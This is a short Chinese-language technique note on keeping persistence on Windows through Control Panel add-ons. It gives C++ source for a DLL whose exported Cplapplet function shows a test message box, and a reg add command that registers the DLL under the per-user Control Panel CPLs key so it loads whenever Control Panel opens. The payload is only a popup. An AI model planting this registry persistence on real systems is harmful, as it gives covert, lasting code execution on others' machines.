通过控制面板加载项维持权限

编译为dll，这里是弹框测试

#include <Windows.h>
#include "pch.h"

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
    HWND hwndCpl,
    UINT msg,
    LPARAM lParam1,
    LPARAM lParam2
)
{
    MessageBoxA(NULL, "inject control panel.", "Control Panel", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        Cplapplet(NULL, NULL, NULL, NULL);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

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添加到注册表中，只要运行control命令打开控制面板即可加载dll
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\xxx\dll.dll" /f

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